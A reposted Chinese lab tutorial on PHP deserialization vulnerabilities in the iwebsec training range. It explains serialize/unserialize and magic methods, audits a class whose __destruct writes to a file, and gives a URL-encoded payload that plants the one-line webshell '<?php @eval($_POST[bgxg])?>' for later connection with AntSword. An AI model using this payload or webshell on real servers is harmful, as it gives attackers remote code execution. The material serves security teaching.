Web安全:PHP反序列化漏洞的 测试(向服务器写入一句话.)

news2024/11/25 12:33:58

Web安全:PHP反序列化漏洞的 测试

程序员在写代码时,没有对用户输入的序列化字符串做一个严格检测,导致恶意的用户可以控制反序列化的一个过程,因此导致XSS漏洞,代码执行,SQT注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。在进行反序列化的时候就有可能触发对象中的一些魔术方法.


目录:

Web安全:PHP反序列化漏洞的 测试

PHP反序列化漏洞的 测试:

由于靶场原因,这里无法成功写入问题:


测试使用的靶场是:iwebsec 靶场

搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391
序列化和反序列化的理解:

序列化理解:就是将对象转换成字符串。

反序列化理解:数据的格式转换对象的序列化利于对象的保存和传输,也可以让多个文件共亨对象。
PHP中有两个函数 serialize() 和 unserialize()

serialize()              //将一个对象转换成一个字符串

unserialize()            //将字符串还原成一个对象
序列化 serialize() 函数理解:

//序列化serialize()将一个对象转换成一个字符串
<?php
    class S{                                //class是类.S是类名
        public $test="bgxg111";         //public 访问控制修饰符,$test是一个变量,bgxg111是变量的值.
    }
    $s=new S();                 //new是 将类实例化成对象.
    echo serialize($s);             //serialize()函数是 把 $s 这个对象进行序列化.
?>
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"bgxg111";}
    //    O:代表object   或  i:代表数组.
    //    1:代表对象名字长度.
    //    S:对象的名称.
    //    1:代表对象里面的个数.
    //    s:数据类型(string)
    //    4:变量名称的长度.
    //    test:变量名称
    //    s:数据类型
    //    7:变量值的长度
    //    bgxg111:变量值
    
反序列化 unserialize() 函数的理解:

//就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
<?php
    $u='O:4:"bgxg":1:{s:4:"test";s:7:"bgxg111";}';        //将系列化复制给变量u
    var_dump(unserialize($u));        //unserialize()是反系列化.
?>
//结果:object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "bgxg" ["test"]=> string(7) "bgxg111" } 
    
常见的几个魔法函数:

__construct()                  #当一个对象创建时被调用

__destruct()                  #当一个对象销毁时被调用

__toString()                  #当一个对象被当作一个字符串使用

__sleep()                     #在对象在被序列化之前运行

__wakeup()                  #将在序列化之后立即被调用

PHP反序列化漏洞的 测试:

利用 PHP 反序列化漏洞向服务器写入一句话 木马.
代码审计:

<?php
	highlight_file(__FILE__);
	class a {
    	var $test = 'hello';
    	function __destruct(){
        	$fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
        	fputs($fp,$this->test);
        	fclose($fp);
    	}
	}
	$class = stripslashes($_GET['re']);
	$class_unser = unserialize($class);
	require '/var/www/html/vuln/unserialize/01/hello.php';
	require_once '../../footer.php';
?>
存在__destruct函数可以将 $test 的值写入到hello.php文件中,所以可以利用这个函数将PHP代码传
hello.php文件中.(写入一个一句话木马)
<?php
  class a{
      var $test = '<?php @eval($_POST[bgxg])?>';
}
$a = new a();
$class_ser = serialize($a);
print_r($class_ser);
?>

上面代码执行的结果:

序列化后得到的结果是这个样子的

    O:1:"a":1:{s:4:"test";s:27:"<?php @eval($_POST[bgxg])?>";}

    //    O:代表object   或  i:代表数组.
    //    1:代表对象名字长度.
    //    a:对象的名称.
    //    1:代表对象里面的个数.
    //    s:数据类型(string)
    //    4:变量名称的长度.
    //    test:变量名称
    //    s:数据类型
    //    27:变量值的长度
    //    <?php @eval($_POST[bgxg])?>:变量值
测试代码:

?re=O:1:%22a%22:1:{s:4:%22test%22;s:27:%22%3C?php%20@eval($_POST[bgxg])?%3E%22;}

执行时要把其他的符号转化为url编码.

生成的文件应该就在这个文件中.

查看 hello.php 文件:cat hello.php

利用 蚁剑 进行连接:


由于靶场原因,这里无法成功写入问题:

靶场中要注意在docker容器中并不存在 /var/www/html/vuln/unserialize/01/hello.php文件,真实
的路径为 /var/www/html/unserialize/01/hello.php 故而需要将源码中hello.php修改为正确路径
docker exec -it bc23 /bin/bash            //切换为root用户

cd /var/www/html/        

cd unserialize/        

cd 01                

vi index.php        //编辑这个文件内容.(点击 i 输入,把下面的代码替换掉里面的源代码.)
                     (然后点击 esc 键,输入 :wq    ,意思是退出并保存.)
<?php
  require_once('../../header.php');
  ?>
<html>
	<head>
		<title>反序列化漏洞</title>
	</head>
	<h2>反序列化漏洞</h2>
		<div class="alert alert-success">
			<p>/index.php?re=hello </p>
		</div>
	<body>
<?php
	highlight_file(__FILE__);
	class a {
    	var $test = 'hello';
    	function __destruct(){
        	$fp = fopen("/var/www/html/unserialize/01/hello.php","w");
        	fputs($fp,$this->test);
        	fclose($fp);
    	}
	}
	$class = stripslashes($_GET['re']);
	$class_unser = unserialize($class);
	require '/var/www/html/unserialize/01/hello.php';
	require_once '../../footer.php';
?>

      

      

     

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/584788.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Shader Graph19-位置函数

一、打开Unreal&#xff0c;新建Material命名为DemoPosition&#xff0c;双击打开 因为中心点为物体中心&#xff0c;所以将坐标值连接到Base Color上是上面的效果&#xff0c;然后在场景中添加一个球体&#xff0c;将材质应用在该球体上&#xff0c;按下w我们可以在场景中改变…

Alibaba官方「SpringCloudAlibaba全彩学习手册」限时开源!

最近我在知乎上看过的一个热门回答&#xff1a; 初级 Java 开发面临的最大瓶颈在于&#xff0c;脱离不出自身业务带来的局限。日常工作中大部分时间在增删改查、写写接口、改改 bug&#xff0c;久而久之就会发现&#xff0c;自己的技术水平跟刚工作时相比没什么进步。 所以我们…

Linux压缩和归档命令的速查表

在Linux系统中&#xff0c;有多种命令可用于压缩和归档文件和目录。这些命令使我们能够将文件和目录打包成单个文件&#xff0c;并可以选择压缩以节省存储空间。本文将提供一个Linux压缩和归档命令的速查表&#xff0c;帮助您快速查找和了解各种常用命令及其用法。 压缩文件和目…

creator-热更

title: creator-热更 categories: Cocos2dx tags: [creator, 热更] date: 2023-04-20 10:42:26 comments: false mathjax: true toc: true creator-热更 前篇 热更新管理器 AssetsManager - https://docs.cocos.com/creator/manual/zh/advanced-topics/hot-update-manager.htm…

实验篇(7.2) 04. 映射服务器到公网IP 远程访问 ❀ Fortinet网络安全专家 NSE4

【简介】由于服务器的IP是内网地址&#xff0c;所以无法从公网直接访问服务器。要想远程访问服务器&#xff0c;最简单的办法就是将服务器映射到公网IP&#xff0c;然后通过公网IP加端口号的方式进行访问。 实验要求与环境 OldMei集团深圳总部部署了一台服务器&#xff0c;用来…

Vue学习-知识点总结

&#xff08;一&#xff09;基础知识 1、简单使用 <!DOCTYPE html> <html> <head><meta charset"utf-8" /><title></title><!--第一步&#xff1a;导入vue--><script src"js/vue-2.6.10.js"></script…

深度学习相关知识--池化

池化 概念 池化分为最大池化&#xff08;用的多一些&#xff09;和平均池化 最大池化是选出区域内最大值作为池化后的值&#xff0c;如下图所示&#xff1a; 平均池化是选择区域内平均值作为池化后的值&#xff0c;如下图所示&#xff1a; 概念很浅显&#xff0c;但是对于刚…

【C++初阶】10. vector的使用及模拟实现

1. vector的介绍 vector的文档介绍 vector是表示可变大小数组的序列容器。就像数组一样&#xff0c;vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vector的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#xff0c;它的大小是可以动态改变的…

CH341的SPI接口编程说明

CH341的SPI接口特性&#xff1a; 1、提供3个片选信号&#xff0c;SCS0~SCS2&#xff1b; 2、SPI 默认工作模式0&#xff0c;不支持修改&#xff1b; 3、SPI Clock速率固定&#xff0c;小于2MHz&#xff1b; 4、支持MSB/LSB传输&#xff1b; 引脚序号功能说明15~17SCS0~SCS…

00后实习生上岸字节,卷王不愧是卷王....

在找工作的时候都必须要经历面试这个环节。在这里我想分享一下自己上岸字节的面试经验&#xff0c;过程还挺曲折的&#xff0c;但是还好成功上岸了。大家可以参考一下&#xff01; 0821测评 语言理解 找规律 图形 数据分析 性格测试 0831笔试 0901字节一面&#xff08;I…

Docker安装SQL Studio

前言 当前镜像是基于SQL Studio官网linux版本的安装包构建而成&#xff0c;镜像的tag和官方安装包的版本是对应的&#xff0c;例如&#xff1a;v1.6.0对应官方linux安装包的v1.6.0版本&#xff0c;目前只有v1.6.0版本的镜像。附上官网安装包下载地址 镜像说明 暴露端口 # 容…

AIML

倒三角数学符号为▼ 。英文为Nabla&#xff0c;中文读音为奈不拉&#xff0c;同时也可以读作“Del” 。这是场论中的符号&#xff0c;是矢量微分算符。 一张图读懂导数与weifen 这是高数中的一张经典图&#xff0c;如果忘记了导数微分的概念&#xff0c;基本看着这张图就能全…

js读取json文件的一个乌龙

起因 编写一个显示数据的静态页面&#xff0c;也就是俗称的index.html页面&#xff0c;页面的数据则有同目录下的json文件提供。 乌龙 吭哧吭哧的把页面写完和把json文件创建完成后&#xff0c;开始测试。 index.html <!DOCTYPE html> <html lang"zh"&g…

软件设计师(中级)详细复习过程总结

软考复习过程总结 前言背景1.1 软考是什么1.2 软考的含金量1.3 软考书籍 软考前相关学习2.1专业知识学习2.2 J2SE视频2.3 设计模式2.4 软件设计师视频 考前两周复习冲刺3.1 算法和排序3.2 设计模式3.3 真题3.4 讨论3.4.1 理论基础3.4.2 实践检验 学习方法4.1 PDCA4.2 番茄工作法…

操作系统期末复习——课时十内存管理(一)

1、内存管理的基本原理和要求 1&#xff09;内存管理的定义 操作系统对内存的划分和动态分配就是内存管理的概念。 2&#xff09;内存管理的功能 &#xff08;1&#xff09;内存空间的分配和回收&#xff1a;由操作系统完成对主存的分配和回收&#xff0c;对编程人员透明。 &…

通过dockerfile将nginx、前端和后端封装成一个镜像

1、内容如下 2、dist文件 就是vue项目的打包文件 3、jar包文件 就是springboot的打包文件 4、编写Dockerfile #引用 jdk1.8作为基础镜像,这个jdk1.8是我自己用linux版本的jdk打包的,具体操作可以看 #https://blog.csdn.net/qq_38639813/article/details/129384923中将jd…

项目经理如何有效管理项目预算?

项目的成功完成在很大程度上依赖于管理良好的项目预算。借助概述项目范围、资源需求、时间表和成本估算等关键方面的详细预算&#xff0c;管理人员可以较好地控制成本并使项目走上正轨。 成功的预算管理需要准确的成本估算&#xff0c;密切跟踪实际支出&#xff0c;仔细确定预…

【Windows】Windows 无法访问\\xxx.xxx.xxx.xxx 共享文件夹

一、问题描述 1、Windows 10专业版系统访问 Windows Server 2003 的共享文件夹&#xff0c;其他电脑可以通过账号和密码访问此服务器共享的文件夹&#xff0c;但Windows 10专业版访问时报如下错误 网络错误 Windows 无法访问\\192. 1. 1. 1\组文件 你没有权限访问\\192.1.1.1…

行业报告 | 聚焦智能制造

原创 | 文 BFT机器人 01 智能制造正当时&#xff0c;助力企业行稳致远 1.1 什么是智能制造&#xff1f; “智能制造”源于人工智能的研究&#xff0c;关于其定义有很多种 美国Wright和Bourne在其《制造智能》(智能制造研究领域的首本专著) 中将智能制造定义为“通过集成知识工…

iOS 编译ffmpeg 4.3版本

嗨&#xff0c;咱就是说&#xff0c;音视频这玩意是真的有些难度啊&#xff0c;不说后续学习路线会有多坎坷&#xff0c;就第一步编译这个破库就折磨了我两天多&#xff0c;好好的一个周末就浪费在编译上了。 入门这事儿&#xff0c;我是先看了《音视频开发进阶指南&#xff1…